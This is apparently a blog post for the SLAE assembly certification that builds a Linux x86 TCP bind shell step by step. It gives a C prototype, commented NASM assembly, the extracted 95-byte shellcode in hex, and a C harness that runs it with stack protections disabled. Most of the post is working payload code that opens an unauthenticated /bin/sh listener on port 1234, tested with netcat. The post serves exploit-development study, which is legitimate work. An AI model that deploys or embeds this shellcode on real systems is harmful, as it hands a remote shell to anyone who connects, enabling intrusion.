Building TCP bind shell shellcode (SLAE, Assignment #1)
Category: Exploit development
Written on
If you haven't written a bind TCP shell in Assembly before, then it is better to start with a higher-level language working prototype and then translate it to Assembly. The obvious choice of the higher level language for Linux is C. Here is a working TCP bind shell code in C. I tried to remove as much unneeded code as possible. Generally it may be a bad idea, but when writing shellcode, this is exactly what you want - a working thing with as few parts as possible.
#include <stdio.h>
#include <strings.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 1234
int main(void) {
// Create a listening socket
int listen_sock = socket(AF_INET, SOCK_STREAM, 0);
// Populate server side connection information
struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET; // IPv4
server_addr.sin_addr.s_addr = INADDR_ANY; // All interfaces (0.0.0.0)
server_addr.sin_port = htons(PORT); // Port #
// Bind socket to local interface(s)
bind(listen_sock, (struct sockaddr *)&server_addr, sizeof(server_addr));
// Start listening
listen(listen_sock, 0);
// Accept incoming connection and create socket for it
int conn_sock = accept(listen_sock, NULL, NULL);
// Forward process's stdin, stdout and stderr to the incoming connection
dup2(conn_sock, 0);
dup2(conn_sock, 1);
dup2(conn_sock, 2);
// Run shell
execve("/bin/sh", NULL, NULL);
}
After we compile and start it, we should make sure that the program is working:
# Build and start the program
gcc bindshell.c -o bindshell && ./bindshell
# Connect from another console and execute some commands making sure you got the shell
nc localhost 1234
id
uid=0(root) gid=0(root) groups=0(root)
^C
Now, to get a compact shellcode we first need to translate the above C code into Assembly.
One nitty gritty detail you must be aware of is that four socket-related functions that were used in the C program actually use the same kernel entry point - socketcall
. The manual page for this syscall (man 2 socketcall
) says that only standard library implementers and kernel hackers need to know about it. It also says that this implementation is x86 platform specific and that on x86-64 and ARM there is no socketcall
system call; instead socket
, accept
, bind
, and all other socket functions are implemented as separate system calls.
Here is the Assembly version of the TCP bind shell with my extensive comments:
section .text
global _start
_start:
; Reference: socketcall(int call, unsigned long *args)
; Create listening socket: EAX = socket(AF_INET, SOCK_STREAM, 0)
; EAX will contain listening socket file descriptor
xor ebx, ebx ; zero out ebx
mul ebx ; implicitly zero out eax and edx
mov al, 0x66 ; socketcall syscall #
mov bl, 0x1 ; socket function #
push edx ; 3rd arg to socket function
push byte 0x1 ; SOCK_STREEAM - 2nd arg to socket function
push byte 0x2 ; 1st arg: socket domain = 2 (AF_INET)
mov ecx, esp ; Copy args address to ECX
int 0x80
; Bind previously created socket to 0.0.0.0 interface and 1234 port
; EAX = bind(listen_sock, &sockaddr_in, sizeof(sockaddr_in))
; EAX will be 0 on success
xchg edi, eax ; save listening socket descriptor to edi
xor eax, eax ; zero out eax
mov al, 0x66 ; socketcall syscall #
pop ebx ; bind func # (reusing 1st arg of the prev func)
pop esi ; trashing 4 bytes from the stack
push edx ; sockaddr_in.sin_addr.s_addr (INADDR_ANY=0)
push word port ; sockaddr_in.sin_port = 1234
push word bx ; sin_family = 2 (AF_INET)
push byte 16 ; addr_len = 16 (structure size) (last 4 bytes are 0s left
; from prev func args)
push ecx ; Copy args address to ECX
push edi ; Listening socket descriptor
; Stack is now 0x0000000 [0x00000000, 0xd204, 0x0002],
; 0x00000010, &sockaddr_in, socketfd
mov ecx, esp ; Copy listening socket descriptor address to ECX
int 0x80
; Start listening: EAX = listen (sockfd, backlog)
xor edi, edi
pop edx ; Save socketfd
push edi ; 2nd arg to listen func (0)
push edx ; 1st arg to listen func (listening socket)
mov bl, 0x4 ; listen function #
mov ecx, esp ; Address to args structure on stack
mov al, 0x66 ; socketcall sycall #
int 0x80
; Accept incoming connections: accept(sockfd, addr, arrlen)
; On success EAX will contain incoming socket descriptor
push edi ; 3rd arg to accept func (0)
push edi ; 2nd arg to accept func (0)
push edx ; 1st arg to accept func (listening socket)
mov ecx, esp ; Copy address to args to ECX
mov al, 0x66 ; socketcall syscall #
mov bl, 0x5 ; accept function #
int 0x80
; Redirect process's stdin/out/err to the incoming socket
xchg eax, ebx ; 1st syscall arg in EBX = incoming socket fd
pop ecx ; 2nd syscall arg in ECX = listening socket fd
.next_fd: ; Redirect all process's fds ot incoming socket fd
mov al, 0x3f ; dup2 syscall #
int 0x80
dec ecx
jns .next_fd ; loop until ECX == -1
; Start the shell
push edi ; push some delimiting nulls
push dword 0x68732f2f ; push /bin//sh string
push dword 0x6e69622f
mov ebx, esp ; 1st syscall arg: program address
push edi ; push delimiting nulls
mov edx, esp ; 3rd syscall arg: env vars
push ebx ; Push program address string creating args array
mov ecx, esp ; 2nd syscall arg: args
mov al, 0xb ; execve syscall #
int 0x80
port: equ 0xD204 ; = 1234 in little endian notation
After building a binary from the above source code we extract the shellcode and test it in the C program:
nasm -f elf bindshell.asm && ld -o bindshell bindshell.o
scdump bindshell
Output (formatted to fit on the screen):
Length: 95
Payload: "\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80"
"\x97\x31\xc0\xb0\x66\x5b\x5e\x52\x66\x68\x04\xd2\x66\x53\x6a\x10\x51\x57\x89"
"\xe1\xcd\x80\x31\xff\x5a\x57\x52\xb3\x04\x89\xe1\xb0\x66\xcd\x80\x57\x57\x52"
"\x89\xe1\xb0\x66\xb3\x05\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x57\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b"
"\xcd\x80"
That's it. We have a working shellcode that initiates listening on predetermined port and serves a /bin/sh
shell to anyone connecting to that port. To make sure the shellcode works as intended, let's run it from inside of our C shellcode-framing program:
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] =
"\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x97\x31"
"\xc0\xb0\x66\x5b\x5e\x52\x66\x68\x04\xd2\x66\x53\x6a\x10\x51\x57\x89\xe1\xcd"
"\x80\x31\xff\x5a\x57\x52\xb3\x04\x89\xe1\xb0\x66\xcd\x80\x57\x57\x52\x89\xe1"
"\xb0\x66\xb3\x05\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x57\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
printf("Shellcode length: %d\n", strlen(shellcode));
(*(void(*)(void))shellcode)();
return 0;
}
After the build and successful test we can perform the winner dance =).
# In one console window
gcc -fno-stack-protector -z execstack -o scframe scframe.c
./scframe
# In the second console window
nc localhost 1234
This blog post was created to fulfill the requirements of the SecurityTube Linux Assembly Expert certification. Student id: SLAE-685.
The source files created while completing the assignment can be found in my GitHub repository.